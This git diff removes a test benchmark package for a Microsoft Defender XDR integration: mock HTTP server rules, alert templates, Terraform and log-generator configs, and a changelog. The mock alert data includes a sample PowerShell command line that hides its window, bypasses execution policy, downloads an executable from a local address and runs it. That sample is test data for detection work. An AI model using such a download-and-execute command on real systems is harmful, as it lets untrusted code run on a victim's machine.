"2006-01-02T15:04:05.000000Z" -}} -{{- $evidenceVerdict := generate "evidence.verdict" -}} -{{- $evidenceRemediationstatus := generate "evidence.remediationStatus" -}} -{{- $evidenceRemediationstatusdetails := generate "evidence.remediationStatusDetails" -}} -{{- $evidenceRoles := generate "evidence.roles" -}} -{{- $evidenceDetailedroles := generate "evidence.detailedRoles" -}} -{{- $evidenceTags := generate "evidence.tags" -}} -{{- $evidenceFirstseendatetime := generate "evidence.firstSeenDateTime" | date "2006-01-02T15:04:05.000000Z" -}} -{{- $evidenceMdedeviceid := generate "evidence.mdeDeviceId" -}} -{{- $evidenceAzureaddeviceid := generate "evidence.azureAdDeviceId" -}} -{{- $evidenceDevicednsname := generate "evidence.deviceDnsName" -}} -{{- $evidenceOsplatform := generate "evidence.osPlatform" -}} -{{- $evidenceOsbuild := generate "evidence.osBuild" -}} -{{- $evidenceVersion := generate "evidence.version" -}} -{{- $evidenceHealthstatus := generate "evidence.healthStatus" -}} -{{- $evidenceRiskscore := generate "evidence.riskScore" -}} -{{- $evidenceRbacgroupid := generate "evidence.rbacGroupId" -}} -{{- $evidenceRbacgroupname := generate "evidence.rbacGroupName" -}} -{{- $evidenceOnboardingstatus := generate "evidence.onboardingStatus" -}} -{{- $evidenceDefenderavstatus := generate "evidence.defenderAvStatus" -}} -{{- $evidenceIpinterfaces := generate "evidence.ipInterfaces" -}} -{{- $evidenceVmmetadata := generate "evidence.vmMetadata" -}} -{{- $evidenceLoggedonusersAccountname := generate "evidence.loggedOnUsers.accountName" -}} -{{- $evidenceLoggedonusersDomainname := generate "evidence.loggedOnUsers.domainName" -}} -{"id":"{{$id}}","providerAlertId":"{{$providerAlertId}}","incidentId":"{{$incidentId}}","status":"{{$status}}","severity":"{{$severity}}","classification":"{{$classification}}","determination":"{{$determination}}","serviceSource":"{{$serviceSource}}","detectionSource":"{{$detectionSource}}","productName":"{{$productName}}","detectorId":"{{$detectorId}}","tenantId":"{{$tenantId}}","title":"{{$title}}","description":"{{$description}}","recommendedActions":"{{$recommendedActions}}","category":"{{$category}}","assignedTo":"{{$assignedTo}}","alertWebUrl":"{{$alertWebUrl}}","incidentWebUrl":"{{$incidentWebUrl}}","actorDisplayName":"{{$actorDisplayName}}","threatDisplayName":"{{$threatDisplayName}}","threatFamilyName":"{{$threatFamilyName}}","mitreTechniques":["{{$mitreTechniques}}"],"createdDateTime":"{{$createdDateTime}}","lastUpdateDateTime":"{{$lastUpdateDateTime}}","resolvedDateTime":"{{$resolvedDateTime}}","firstActivityDateTime":"{{$firstActivityDateTime}}","lastActivityDateTime":"{{$lastActivityDateTime}}","alertPolicyId":"{{$alertPolicyId}}","additionalData":"{{$additionalData}}","comments":[{"name": "{{$comments}}"}],"evidence":[{"internetMessageId":"{{$evidenceInternetmessageid}}","networkMessageId":"{{$evidenceNetworkmessageid}}","senderIp":"{{$evidenceSenderip}}","createdDateTime":"{{$evidenceCreateddatetime}}","verdict":"{{$evidenceVerdict}}","remediationStatus":"{{$evidenceRemediationstatus}}","remediationStatusDetails":"{{$evidenceRemediationstatusdetails}}","roles":["{{$evidenceRoles}}"],"detailedRoles":["{{$evidenceDetailedroles}}"],"tags":["{{$evidenceTags}}"],"firstSeenDateTime":"{{$evidenceFirstseendatetime}}","mdeDeviceId":"{{$evidenceMdedeviceid}}","azureAdDeviceId":"{{$evidenceAzureaddeviceid}}","deviceDnsName":"{{$evidenceDevicednsname}}","osPlatform":"{{$evidenceOsplatform}}","osBuild":"{{$evidenceOsbuild}}","version":"{{$evidenceVersion}}","healthStatus":"{{$evidenceHealthstatus}}","riskScore":"{{$evidenceRiskscore}}","rbacGroupId":"{{$evidenceRbacgroupid}}","rbacGroupName":"{{$evidenceRbacgroupname}}","onboardingStatus":"{{$evidenceOnboardingstatus}}","defenderAvStatus":"{{$evidenceDefenderavstatus}}","ipInterfaces":["{{$evidenceIpinterfaces}}"],"vmMetadata":"{{$evidenceVmmetadata}}","loggedOnUsers":[{"accountName":"{{$evidenceLoggedonusersAccountname}}","domainName":"{{$evidenceLoggedonusersDomainname}}"}]}]}, diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml deleted file mode 100644 index 4fcf80abe6..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml +++ /dev/null @@ -1,61 +0,0 @@ -rules: - - path: /tenant_id/oauth2/v2.0/token - methods: [POST] - query_params: - grant_type: client_credentials - request_headers: - Content-Type: - - "application/x-www-form-urlencoded" - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN","token_type": "Bearer","not_before": 1549647431,"expires_in": 3600} - # Refresh token to get access token: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow#refresh-the-access-token - - path: /tenant_id/oauth2/v2.0/token - methods: [ POST ] - query_params: - refresh_token: refresh_token_123 - grant_type: refresh_token - request_headers: - Content-Type: - - "application/x-www-form-urlencoded" - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - {{ minify_json ` - { - "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN", - "token_type": "Bearer", - "expires_in": 2, - "scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read", - "refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...", - "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0LTQ2YTctOD..." - } - `}} - - path: /v1.0/security/alerts_v2 - methods: [GET] - request_headers: - Authorization: - - "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN" - responses: - - status_code: 200 - headers: - Content-Type: - - "application/json" - body: |- - { - "value": [ - {{- $g := glob "/var/log/corpus-*" -}} - {{- range $g -}} - {{- file . -}} - {{- end -}} - {{/* A last line of hard-coded data is required to properly close the JSON body */}} - { "id": "da2046fc02-67f1-41f5-923d-ef916d70c005_1", "providerAlertId": "2046fc02-67f1-41f5-923d-ef916d70c005_1", "incidentId": "23", "status": "new", "severity": "informational", "classification": null, "determination": null, "serviceSource": "microsoftDefenderForEndpoint", "detectionSource": "microsoftDefenderForEndpoint", "productName": "Microsoft Defender for Endpoint", "detectorId": "de54c08f-c3f5-40e3-ae58-7e3fffbc2574", "tenantId": "3adb963c-8e61-48e8-a06d-6dbb0dacea39", "title": "[Test Alert] Suspicious Powershell commandline", "description": " This is a test alert \nA suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", "recommendedActions": " This is a test alert \n1. Examine the PowerShell commandline to understand what commands were executed. Note: the script may need to be decoded if it is base64-encoded\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert. \n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.", "category": "Execution", "assignedTo": null, "alertWebUrl": "https://security.microsoft.com/alerts/da2046fc02-67f1-41f5-923d-ef916d70c005_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "incidentWebUrl": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "actorDisplayName": null, "threatDisplayName": null, "threatFamilyName": null, "mitreTechniques": [ "T1059.001" ], "createdDateTime": "2023-10-20T09:54:06.750499Z", "lastUpdateDateTime": "2023-10-20T09:54:10.4666667Z", "resolvedDateTime": null, "firstActivityDateTime": "2023-10-20T09:51:39.5154802Z", "lastActivityDateTime": "2023-10-20T09:51:39.5154802Z", "alertPolicyId": null, "additionalData": null, "comments": [], "evidence": [ { "@odata.type": "#microsoft.graph.security.deviceEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [ "PrimaryDevice" ], "tags": [], "firstSeenDateTime": "2023-10-20T09:50:17.7383987Z", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "azureAdDeviceId": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14", "deviceDnsName": "clw555test", "osPlatform": "Windows11", "osBuild": 22621, "version": "22H2", "healthStatus": "inactive", "riskScore": "high", "rbacGroupId": 0, "rbacGroupName": null, "onboardingStatus": "onboarded", "defenderAvStatus": "notSupported", "ipInterfaces": [ "192.168.5.65", "fe80::cfe4:80b:615c:38fb", "127.0.0.1", "::1" ], "vmMetadata": null, "loggedOnUsers": [] }, { "@odata.type": "#microsoft.graph.security.userEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 5772, "parentProcessId": 7408, "processCommandLine": "\"cmd.exe\" ", "processCreationDateTime": "2023-10-20T09:51:19.5064237Z", "parentProcessCreationDateTime": "2023-10-20T09:34:32.0067951Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "13e9bb7e85ff9b08c26a440412e5cd5d296c4d35", "sha256": "423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb", "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "explorer.exe", "filePath": "C:\\Windows", "fileSize": 5261576, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 8224, "parentProcessId": 5772, "processCommandLine": "powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'", "processCreationDateTime": "2023-10-20T09:51:39.4997961Z", "parentProcessCreationDateTime": "2023-10-20T09:51:19.5064237Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "a72c41316307889e43fe8605a0dca4a72e72a011", "sha256": "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80", "fileName": "powershell.exe", "filePath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0", "fileSize": 491520, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } } ] } - ] - } diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml deleted file mode 100644 index 52f70ff8ab..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -services: - m365-defender-alert-http: - image: docker.elastic.co/observability/stream:v0.20.0 - hostname: m365_defender - ports: - - 8082 - volumes: - - ./alert-http-mock-config.yml:/config.yml - - ${SERVICE_LOGS_DIR}:/var/log - environment: - PORT: 8082 - command: - - http-server - - --exit-on-unmatched-rule - - --addr=:8082 - - --config=/config.yml diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml deleted file mode 100644 index 1200994302..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml +++ /dev/null @@ -1,5 +0,0 @@ -version: '2.3' -services: - terraform: - environment: - - TEST_RUN_ID=${TEST_RUN_ID} diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log deleted file mode 100644 index 7d51ddc5d6..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log +++ /dev/null @@ -1,20 +0,0 @@ -1.2.3.4 - - [15/Jan/2024:10:20:30 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" -5.6.7.8 - - [15/Jan/2024:10:20:31 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0" -9.10.11.12 - - [15/Jan/2024:10:20:32 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0" -13.14.15.16 - - [15/Jan/2024:10:20:33 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0" -17.18.19.20 - - [15/Jan/2024:10:20:34 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0" -21.22.23.24 - - [15/Jan/2024:10:20:35 +0000] "GET /index.html HTTP/1.1" 404 128 "-" "benchmark-client/1.0" -25.26.27.28 - - [15/Jan/2024:10:20:36 +0000] "GET /api/v1/data HTTP/1.1" 400 64 "-" "benchmark-client/1.0" -29.30.31.32 - - [15/Jan/2024:10:20:37 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" -33.34.35.36 - - [15/Jan/2024:10:20:38 +0000] "DELETE /api/v1/item/1 HTTP/1.1" 204 0 "-" "benchmark-client/1.0" -37.38.39.40 - - [15/Jan/2024:10:20:39 +0000] "GET /api/v1/status HTTP/1.1" 200 128 "-" "benchmark-client/1.0" -41.42.43.44 - - [15/Jan/2024:10:20:40 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" -45.46.47.48 - - [15/Jan/2024:10:20:41 +0000] "PUT /api/v1/item/2 HTTP/1.1" 200 256 "-" "benchmark-client/1.0" -49.50.51.52 - - [15/Jan/2024:10:20:42 +0000] "GET /favicon.ico HTTP/1.1" 404 32 "-" "benchmark-client/1.0" -53.54.55.56 - - [15/Jan/2024:10:20:43 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0" -57.58.59.60 - - [15/Jan/2024:10:20:44 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0" -61.62.63.64 - - [15/Jan/2024:10:20:45 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0" -65.66.67.68 - - [15/Jan/2024:10:20:46 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0" -69.70.71.72 - - [15/Jan/2024:10:20:47 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" -73.74.75.76 - - [15/Jan/2024:10:20:48 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0" -77.78.79.80 - - [15/Jan/2024:10:20:49 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf deleted file mode 100644 index 48d10519f0..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf +++ /dev/null @@ -1,5 +0,0 @@ -resource "local_file" "benchmark_log" { - source = "./files/sample.log" - filename = "/tmp/service_logs/tf-benchmark-${var.TEST_RUN_ID}.log" - file_permission = "0777" -} diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf deleted file mode 100644 index 32d90dee64..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf +++ /dev/null @@ -1,26 +0,0 @@ -variable "BRANCH" { - description = "Branch name or pull request for tagging purposes" - default = "unknown-branch" -} - -variable "BUILD_ID" { - description = "Build ID in the CI for tagging purposes" - default = "unknown-build" -} - -variable "CREATED_DATE" { - description = "Creation date in epoch time for tagging purposes" - default = "unknown-date" -} - -variable "ENVIRONMENT" { - default = "unknown-environment" -} - -variable "REPO" { - default = "unknown-repo-name" -} - -variable "TEST_RUN_ID" { - default = "detached" -} diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml deleted file mode 100644 index 8f8d50921c..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml +++ /dev/null @@ -1,20 +0,0 @@ ---- -description: Benchmark events ingested via tf deployer (filestream input) -input: filestream -deployer: tf -data_stream: - name: logfile - vars: - paths: - - "{{SERVICE_LOGS_DIR}}/tf-benchmark-{{TEST_RUN_ID}}.log" -warmup_time_period: 2s -wait_for_data_timeout: 5m -corpora: - generator: - total_events: 1000 - template: - path: ./tf-benchmark/template.log - config: - path: ./tf-benchmark/config.yml - fields: - path: ./tf-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml deleted file mode 100644 index bbceb2681c..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml +++ /dev/null @@ -1,39 +0,0 @@ -fields: - - name: IP - cardinality: 100 - - name: Day - range: - min: 1 - max: 28 - - name: H - range: - min: 10 - max: 23 - - name: MS - range: - min: 10 - max: 59 - - name: Mon - enum: - - "Jan" - - "Feb" - - "Mar" - - "Apr" - - "May" - - "Jun" - - "Jul" - - "Aug" - - "Sep" - - "Oct" - - "Nov" - - "Dec" - - name: StatusCode - enum: ["200", "400", "404"] - - name: Size - range: - min: 1 - max: 1000 - - name: Port - range: - min: 8000 - max: 8080 diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml deleted file mode 100644 index 4ed5ea81a4..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml +++ /dev/null @@ -1,18 +0,0 @@ -- name: IP - type: ip -- name: Day - type: long -- name: Mon - type: keyword -- name: H - type: long -- name: MS - type: long -- name: StatusCode - type: keyword -- name: Size - type: long -- name: Hostname - type: keyword -- name: Port - type: long diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log deleted file mode 100644 index 9299f9d886..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log +++ /dev/null @@ -1 +0,0 @@ -{{.IP}} - - [{{.Day}}/{{.Mon}}/2024:{{.H}}:{{.MS}}:{{.MS}} +0000] "GET /index.html HTTP/1.1" {{.StatusCode}} {{.Size}} "-" "benchmark-client/1.0" diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml deleted file mode 100644 index 2bfcfc223b..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml +++ /dev/null @@ -1,3 +0,0 @@ -dependencies: - ecs: - reference: "git@v8.11.0" diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md deleted file mode 100644 index fb5302bfb7..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md +++ /dev/null @@ -1,6 +0,0 @@ -# Multi-Deployer Benchmark - -Test package that exercises both `docker` and `tf` service deployers in system benchmarks. - -- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server. -- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required). diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml deleted file mode 100644 index f5c56f1a49..0000000000 --- a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml +++ /dev/null @@ -1,643 +0,0 @@ -# newer versions go on top -- version: "5.11.1000" - changes: - - description: Fix table formatting in README. - type: bugfix - link: https://github.com/elastic/integrations/pull/17797 -- version: "5.11.0" - changes: - - description: | - Add support for "CloudAuditEvents", "CloudProcessEvents", and - "CloudStorageAggregatedEvents" table in event data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/17612 -- version: "5.10.1" - changes: - - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. - type: bugfix - link: https://github.com/elastic/integrations/pull/17623 -- version: "5.10.0" - changes: - - description: "Add support for \"BehaviorInfo\", \"BehaviorEntities\", \"MessageEvents\", \n\"MessageUrlInfo\", and \"MessagePostDeliveryEvents\" table in event data stream.\n" - type: enhancement - link: https://github.com/elastic/integrations/pull/17512 -- version: "5.9.0" - changes: - - description: Add client secret authentication support for Azure Event Hub with RBAC. - type: enhancement - link: https://github.com/elastic/integrations/pull/17245 -- version: "5.8.0" - changes: - - description: Improve layout by synchronizing titles and description of configuration options. Remove `Microsoft Dfender XDR` from data stream toggles. - type: enhancement - link: https://github.com/elastic/integrations/pull/17362 -- version: "5.7.0" - changes: - - description: Add tags to ingest pipelines. - type: enhancement - link: https://github.com/elastic/integrations/pull/17435 - - description: Update error message format in ingest pipelines. - type: enhancement - link: https://github.com/elastic/integrations/pull/17435 -- version: "5.6.1" - changes: - - description: Remove duplicate security-solution-default tag references - type: bugfix - link: https://github.com/elastic/integrations/pull/17020 -- version: "5.6.0" - changes: - - description: Change default URL for the `vulnerability` data stream to `https://api.security.microsoft.com`. - type: enhancement - link: https://github.com/elastic/integrations/pull/17276 - - description: >- - Improve documentation with correct links, updated input titles and descriptions for all data streams. Update UI text to reflect updated titles. - type: enhancement - link: https://github.com/elastic/integrations/pull/17276 -- version: "5.5.0" - changes: - - description: >- - Enhance ECS mappings across all datasets. Add navigation panel and refactor the dashboards. - type: enhancement - link: https://github.com/elastic/integrations/pull/16676 -- version: "5.4.0" - changes: - - description: Add support for OAuth2 Endpoint Params option for alert and incident data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/16628 -- version: "5.3.1" - changes: - - description: Fix table rendering issue in documentation. - type: bugfix - link: https://github.com/elastic/integrations/pull/16615 -- version: "5.3.0" - changes: - - description: >- - Update documentation to reflect recent changes in vulnerability data stream including replacement of the List Vulnerabilities and List Machines API references with the SoftwareVulnerabilitiesExport API, using the modern integrations documentation layout. - type: enhancement - link: https://github.com/elastic/integrations/pull/16152 -- version: "5.2.0" - changes: - - description: Add cloudsecurity_cdr sub category label - type: enhancement - link: https://github.com/elastic/integrations/pull/16146 -- version: "5.1.1" - changes: - - description: Fix construction of `file.path` fields in the incident data stream to conform to ECS. - type: bugfix - link: https://github.com/elastic/integrations/pull/15728 -- version: "5.1.0" - changes: - - description: Add support for OAuth2 Endpoint Params option to vulnerability data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/15749 - - description: Handle expired URLs in vulnerability data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/15749 -- version: "5.0.1" - changes: - - description: Update transform to filter out documents containing an error.message from vulnerability latest index - type: bugfix - link: https://github.com/elastic/integrations/pull/15722 -- version: "5.0.0" - changes: - - description: | - Fetch vulnerability data using SoftwareVulnerabilitiesExport API endpoint. - type: enhancement - link: https://github.com/elastic/integrations/pull/15603 - - description: "The following fields are no longer available in the new implementation: \"cloud.provider\", \"cloud.resource_id\", \n\"cloud.instance.id\", \"host.geo\", \"host.ip\", \"host.risk.calculated_level\", \"related.ip\", \n\"vulnerability.description\", \"vulnerability.published_date\", \"vulnerability.score.version\".\n" - type: breaking-change - link: https://github.com/elastic/integrations/pull/15603 -- version: "4.2.0" - changes: - - description: Prevent updating fleet health status to degraded. - type: enhancement - link: https://github.com/elastic/integrations/pull/15415 -- version: "4.1.0" - changes: - - description: Add `vulnerability_workflow` sub category labels. - type: enhancement - link: https://github.com/elastic/integrations/pull/15151 -- version: "4.0.2" - changes: - - description: Ensure large `$skip` API parameter values are correctly formatted in `vulnerability` data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/15392 - - description: Supress expected empty template health updates. - type: bugfix - link: https://github.com/elastic/integrations/pull/15392 -- version: "4.0.1" - changes: - - description: Extract `process.name` from `process.command_line` in alert, event, and incident data streams. - type: bugfix - link: https://github.com/elastic/integrations/pull/15226 -- version: "4.0.0" - changes: - - description: "Add mapping changes and latest transform in `vulnerability` data stream for \nCloud Detection and Response (CDR) vulnerability workflow.\n" - type: breaking-change - link: https://github.com/elastic/integrations/pull/14809 -- version: "3.14.2" - changes: - - description: Fix handling of empty string IP values. - type: bugfix - link: https://github.com/elastic/integrations/pull/14857 -- version: "3.14.1" - changes: - - description: Fix agent handling of empty and error results in vulnerability data stream. - type: bugfix - link: https://github.com/elastic/integrations/pull/14783 -- version: "3.14.0" - changes: - - description: "Enhanced error handling in the CEL program for API calls to prevent `no such key: product_batch_size` errors \nby ensuring proper propagation of the `product_batch_size` configuration during failures.\n" - type: bugfix - link: https://github.com/elastic/integrations/pull/14722 -- version: "3.13.0" - changes: - - description: Add `process.name` ECS mapping in alert, event, and incident data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/14448 -- version: "3.12.0" - changes: - - description: Use `terminate` processor instead of `fail` processor to handle agent errors. - type: enhancement - link: https://github.com/elastic/integrations/pull/14393 -- version: "3.11.0" - changes: - - description: | - Rebrand integration to Microsoft Defender XDR to align with Microsoft's current branding. - This is a superficial branding update only and does not affect existing functionalities. - type: enhancement - link: https://github.com/elastic/integrations/pull/14350 -- version: "3.10.0" - changes: - - description: Standardize user fields processing across integrations. - type: enhancement - link: https://github.com/elastic/integrations/pull/14137 -- version: "3.9.1" - changes: - - description: Add temporary processor to remove the fields added by the Agentless policy. - type: bugfix - link: https://github.com/elastic/integrations/pull/14172 -- version: "3.9.0" - changes: - - description: ECS mapping improvements. - type: enhancement - link: https://github.com/elastic/integrations/pull/14085 -- version: "3.8.0" - changes: - - description: Add vulnerability data stream. - type: enhancement - link: https://github.com/elastic/integrations/pull/13595 -- version: "3.7.0" - changes: - - description: Set `device.id` in all datasets and `application.name` in event dataset. - type: enhancement - link: https://github.com/elastic/integrations/pull/13931 -- version: "3.6.0" - changes: - - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in all data streams. - type: enhancement - link: https://github.com/elastic/integrations/pull/13984 -- version: "3.5.0" - changes: - - description: Normalize `event.severity` values across EDR integrations. - type: enhancement - link: https://github.com/elastic/integrations/pull/13955 -- version: "3.4.0" - changes: - - description: Set `cloud.instance.id` in event dataset. - type: enhancement - link: https://github.com/elastic/integrations/pull/13769 -- version: "3.3.1" - changes: - - description: Fix default request trace enabled behavior. - type: bugfix - link: https://github.com/elastic/integrations/pull/13712 -- version: "3.3.0" - changes: - - description: Improve `user.name` handling. - type: enhancement - link: https://github.com/elastic/integrations/pull/13554 -- version: "3.2.0" - changes: - - description: Enable request trace log removal. - type: enhancement - link: https://github.com/elastic/integrations/pull/13452 -- version: "3.1.0" - changes: - - description: Improve performance of event ingest pipeline. - type: enhancement - link: https://github.com/elastic/integrations/pull/13335 -- version: "3.0.1" - changes: - - description: Fix `event.category` value for the AdvancedHunting-AlertInfo event. - type: bugfix - link: https://github.com/elastic/integrations/pull/13185 